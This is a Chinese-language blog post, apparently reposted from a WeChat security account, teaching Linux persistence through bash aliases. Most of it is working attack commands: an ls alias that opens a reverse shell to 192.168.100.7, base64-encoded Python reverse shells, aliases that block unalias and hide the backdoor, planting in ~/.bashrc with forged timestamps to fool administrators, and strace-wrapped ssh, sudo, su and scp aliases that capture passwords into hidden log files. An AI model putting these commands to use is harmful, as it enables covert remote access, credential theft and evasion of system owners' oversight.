alias是什么
Linux alias 命令用于设置指令的别名,用户可利用 alias,自定指令的别名, 它可以使您以一种更简单和易于记忆的方式执行命令,而不必每次都键入完整的命令。 若仅输入 alias,则可列出目前所有的别名设置。
alias 的效果仅在该次登入的操作有效,若想要每次登入都生效,可在 .profile 或 .cshrc 中设定指令的别名。
alias命令效果
定义:alias ls="ls -lsa"
删除:unalias ls
没有这个命令还是需要安装一下,我这里用我的centos7做演示:yum install strace
未设置前
设置后
取消alias
alias别名反弹shell
alias ls='alerts(){ ls $* --color=auto; bash -i >& /dev/tcp/192.168.100.7/1234 0>&1; }; alerts'
因为我们把ls的功能换了所以他会卡住
alias别名Python反弹
这里根据目标环境进行更改,需要把base64解码把IP改为自己的IP再编码使用。
# Python3
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMDAuNyIsIDEyMzQpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp''')))";};alerts'
#Pyhton2
alias ls='alerts(){ ls $* --color=auto;python -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}[sys.version_info[0]]('''aW1wb3J0IG9zLCBzb2NrZXQsIHN1YnByb2Nlc3MKCmRlZiBpbnRlcmFjdChzb2NrKToKICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMCkKICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMSkKICAgIG9zLmR1cDIoc29jay5maWxlbm8oKSwgMikKICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCgppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgcmV0ID0gb3MuZm9yaygpCiAgICBpZiByZXQgPiAwOgogICAgICAgIGV4aXQoKQogICAgZWxzZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdCgoIjE5Mi4xNjguMTAwLjciLCAxMjM0KSkKICAgICAgICAgICAgaW50ZXJhY3QocykKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIGV4aXQoKQ==''')))";};alerts'
alias后门隐藏
我们需要隐藏alias维持,并且让所有登录的人中招。 常见自启程序:etc/profile 、 /etc/bashrc 、~/.bashrc 、~/.bash_profile 、~/.profile、~/.bash_logout、~/.bash_aliases 我们就选择最常见的~/.bashrc 作为演示,好吧script好像打错了,不要在意细节,继续往下看。
找一个合适的路径文件,写入以下内容作为演示。
alias ls='alerts(){ ls $* --color=auto; bash -i >& /dev/tcp/192.168.100.7/1234 0>&1; }; alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'
第一条命令我们大概都知道是反弹shell的意思 我们看后面两条复杂的,这里直接给出GPT的分析
简单说就是封锁了取消ls别名的这个效果。
cat <<EOL > /tmp/alias/scirpt-update
alias ls='alerts(){ ls $* --color=auto; bash -i >& /dev/tcp/192.168.100.7/1234 0>&1; }; alerts'
alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'''/";};alerts'
EOL
将这个文件插入到 ~/.bashrc 自启中 下面这个注释可以自己换,我这里就不添加了,可以迷惑管理员。
echo -e 'nif [ -f /tmp/alias/scirpt-update ]; thenn . /tmp/alias/scirpt-updatenfin' >> ~/.bashrc
我们还可以修改后门文件的时间进行伪造
stat /etc/passwd-
touch -acmr /tmp/alias/scirpt-update /etc/passwd-
登录系统后执行ls就触发了我们的后门。
alias Keylogger
之前讲了strace可以记录登录到本机的密码。 那么alias可以做到从本机登录另外一台服务器的密码。
echo "alias ssh='strace -o /tmp/.ssh.log -s 2048 ssh'" >> ~/.bashrc && source ~/.bashrc
当我们登录到别的VPS后,可以使用grep筛选密码。
grep '^read(4' /tmp/.ssh.log
同理alias还可以监控比如sudo,scp,su等命令
alias scp='strace -o /tmp/scppwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 scp'
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
筛选的话,各位自己进行查看即可,然后根据文件输出规则用grep筛选即可。这些权限维持手法都可以组合使用。
原文始发于微信公众号(河马安全区):Linux权限维持-SSH Keylogger alias
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论